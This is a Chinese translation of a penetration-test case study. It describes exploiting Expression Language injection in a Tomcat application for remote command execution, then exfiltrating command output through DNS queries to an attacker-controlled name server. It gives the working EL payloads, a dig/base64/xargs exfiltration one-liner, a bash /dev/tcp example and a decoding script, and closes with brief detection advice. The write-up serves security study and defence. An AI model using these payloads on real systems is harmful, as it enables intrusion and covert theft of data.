基于DNS的一次渗透测试

iso60001  1510天前

最近,我们在某个Tomcat Web服务中发现了一个涉及表达式语言的远程代码执行。存在缺陷的端点期望接受一个数字。但是当我发送${1+2}时,站点会返回一个Java错误信息,关于将java.lang.String转换为java.lang.Long的失败消息,其中显示了值3

从这个错误信息中,我们可以知道以下信息:

  • 应用使用Java

  • 我们能够执行EL表达式

  • EL引擎的输出总是以字符串的形式返回

当你能够在Java中执行代码时,最有趣的部分就是检查是否能够通过Runtime对象执行任意系统命令。

当发送${Runtime.getRuntime()}时,会被解析为java.lang.Runtime@de30bb。很好,那么我们可以使用Runtime.exec(String cmd)执行任意代码吗?

但很可惜的是,我们无法创建任何新对象。因此${Runtime.getRuntime().exec("id")}无法生效。由于EL处理抛出的异常不包含在显示的页面中,因此我们获得的信息很少,很难进行调试,也不知道是否有WAF过滤了我们的payload,或者存在其他防御措施。

不过EL允许访问文档中定义的一些隐式对象。其中一个对象param看起来很有趣,因为它可以将请求参数解析为字符串。很快,在一个请求之后,我们成功获得了${Runtime.getRuntime().exec(param.cmd)}的命令输出:java.lang.UNIXProcess@2f0a8ba。但是命令执行成功了吗?它的输出是什么?当我们尝试从UNIXProcess中读取stdout时,必须围绕一个InputStreamReader创建一个BufferedReader,以读取subprocess的输出。

22.png

确定调用是否成功的一种方法是检查它的返回值。由于返回值的性质(它只在进程完成时可用),Java的Process接口提供了一个int waitFor()方法以暂停main thread,直到subprocesses完成。它的返回值表示subprocess的状态码。

在对payload进行了小的调整之后,我们可以看到${Runtime.getRuntime().exec(param.cmd).waitFor()}cmd==sleep+10的组合,其响应时间仅为10秒多一点,并且会出现一个不能将“0”转换为Long的错误消息。

但是输出呢?我看到过一篇关于DNS利用的文章。到目前为止,我们只讨论了Tomcat中的RCE。考虑到无法在页面中看到命令输出,所以我们需要使用带外通信。最简单的方法就是使用curl、wget或netcat,向我们的服务器发送一个HTTP请求。

为了检查curl的可用性,我们只需使用我们的Burp Collaborator来测试。而waitFor显示状态码为7,这对于curl来说意味着连接到主机失败。然后我们检查了Collaborator,它只显示了一个成功的DNS请求。

我们通过执行dig <domain>来快速检查服务器上是否安装了nslookup、dig或drill等DNS工具。

对于只提取用户信息,那么只需较短的PoC。payload为id | base64 -w 60 | xargs -I ',' dig ,.<domain>。当发送请求后,我们可以看到返回值是1,这代表一个错误,尽管在我们的机器上测试一切正常。经过研究,我们发现Java存在一种安全防御措施,防止攻击者将多个命令注入到Runtime.exec(String)中的字符串中。因此,Java提供的是Runtime.exec(String[]),elements作为参数。

还有一个问题,EL不允许我们编写类似${Runtime.getRuntime().exec(new String[]{param.one, param.two, ...})}的语句。事后看来,我们也许可以使用隐式的paramValues对象,但当时我们完全忽略了这一点。相反,我们使用了pageContext.request.getParameterValues(param.name),它会返回一个数组,其中包含在param.name中指定参数的所有值。最后的payload是:

${Runtime.getRuntime().exec(pageContext.request.getParameterValues(param.name)}

参数有name=cmdcmd=bash&cmd=-c&cmd=<payload>。通过这种方法,我们借助脚本实现执行每个命令的payload。

基本

DNS exfiltration指使用DNS请求传递数据,可以在“正常”互联网流量被阻塞或过滤的情况下使用。其基本思想是通过DNS请求将数据发送到攻击者的DNS服务器上。

设置

我们需要可在目标系统上创建DNS请求的任何工具。这可以是一个专用程序,如digdrill,也可以是任何网络工具,如wgetcurlnetcathostbash -c "echo "test" > /dev/tcp/$host/$port等。

在接收端,我们需要一个UDP的53端口在公网可达的服务器,任何VPS都应该可以,你也可以通过端口转发实现。

为了指示DNS解析器向我们的服务器发送请求,我们需要在指向我们的服务器IP的任何域中设置一个NS记录。

最后,监听53端口上接收到的请求。

工具

在我们的项目中,我们只需要一个PoC,所以payload并没有多复杂。

不过我们对其通用性进行了改进,并且所使用的大多数命令在多数Linux系统中都默认存在。

<cmd> | base64 -w 60 | cat -n | awk '{{$1=$1}};1' | sed 's/ /\\n/' | xargs -L 2 -n 2 bash -c 'dig $1.$0.<domain>'

说明:

1.运行所需命令

2.使用base64进行数据编码,在60个字符后自动换行。

3.使用cat -n在每行前面都将加上相应的行号

4.使用awk删除所有头部空格

5.使用sed将行号和内容分成两个单独的行

6.使用xargs使用两行作为bash的两个参数

7.使用dig配合<data>.<line no>.<domain>发出请求。

为了捕获DNS请求,我们简单地将53端口的UDP数据包导出。当运行例如id等命令时,会得到如下的输出:

16:44:24.860040 IP XXX.XXX.XXX.XXX.47679 > YYY.YYY.YYY.YYY.53: 61071 [1au] A? dWlkPTEwMDAoaG56bG1ubikgZ2lkPTk4NSh1c2VycykgZ3JvdXBzPTk4NSh1.1.<domain>. (103)
16:44:24.887303 IP XXX.XXX.XXX.XXX.39556 > YYY.YYY.YYY.YYY.53: 2045 [1au] A? c2VycyksNTQobG9jayksOTgocG93ZXIpLDEwOCh2Ym94dXNlcnMpLDE1MCh3.2.<domain>. (103)
16:44:25.050284 IP XXX.XXX.XXX.XXX.45014 > YYY.YYY.YYY.YYY.53: 34349 [1au] A? aXJlc2hhcmspLDk3MyhsaWJ2aXJ0KSw5ODYodmlkZW8pLDk4Nyh1dWNwKSw5.3.<domain>. (95)
16:44:25.080283 IP XXX.XXX.XXX.XXX.45614 > YYY.YYY.YYY.YYY.53: 34497 [1au] A? ODgoc3RvcmFnZSksOTk1KGF1ZGlvKSw5OTgod2hlZWwpCg==.4.<domain>. (95)

在接受的数据中,可能有一些重复部分,还可能会出现接受顺序混乱的情况。

为了处理重复和排序的问题,我们可以使用以下命令:

cat $1 | egrep -o '[^ ]\.<domain>' | sed 's/\.<domain>//' | sed 's/\./\t/' | sort -k2 | uniq | sed 's/\t.//' | tr -d "\n" | base64 -d

说明:

1.提取以指定域结尾的数据

2.删除域部分

3.根据.号拆分字段,插入tab

4.按第二列(行号)对所有条目进行排序

5.删除所有重复项

6.删除行号

7.把所有的行连接成一行

8.使用base64进行解码

针对上面的数据,明文为:

uid=1000(hnzlmnn) gid=985(users) groups=985(users),54(lock),98(power),108(vboxusers),150(wireshark),973(libvirt),986(video),987(uucp),988(storage),995(audio),998(wheel)

由于编写bash脚本是很痛苦的,我开发了Dora the DNS explorer。Dora使用scapy来嗅探接口,解析接收到的每个DNS请求并将其存储在数据库中。为了将不同命令的输出彼此分离,我引入了域的另一部分,被称为context。通过使用Swiper(该工具的提取部分),你可以针对不同的工具生成payload,或者简单生成一个在payload中使用的新context。


其他

如果攻击者开始通过DNS传递数据,系统会发现DNS流量突然增长。所以某个主机DNS请求数量的突然上涨可能预示着攻击者已控制服务器。为了阻止这种攻击,可将内部网络的所有的DNS请求转到内部上游的DNS服务器中,并设置域名白名单,对可疑域名禁止请求。

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源:https://insinuator.net/2020/03/dns-exfiltration-case-study/

最新评论

昵称
邮箱
提交评论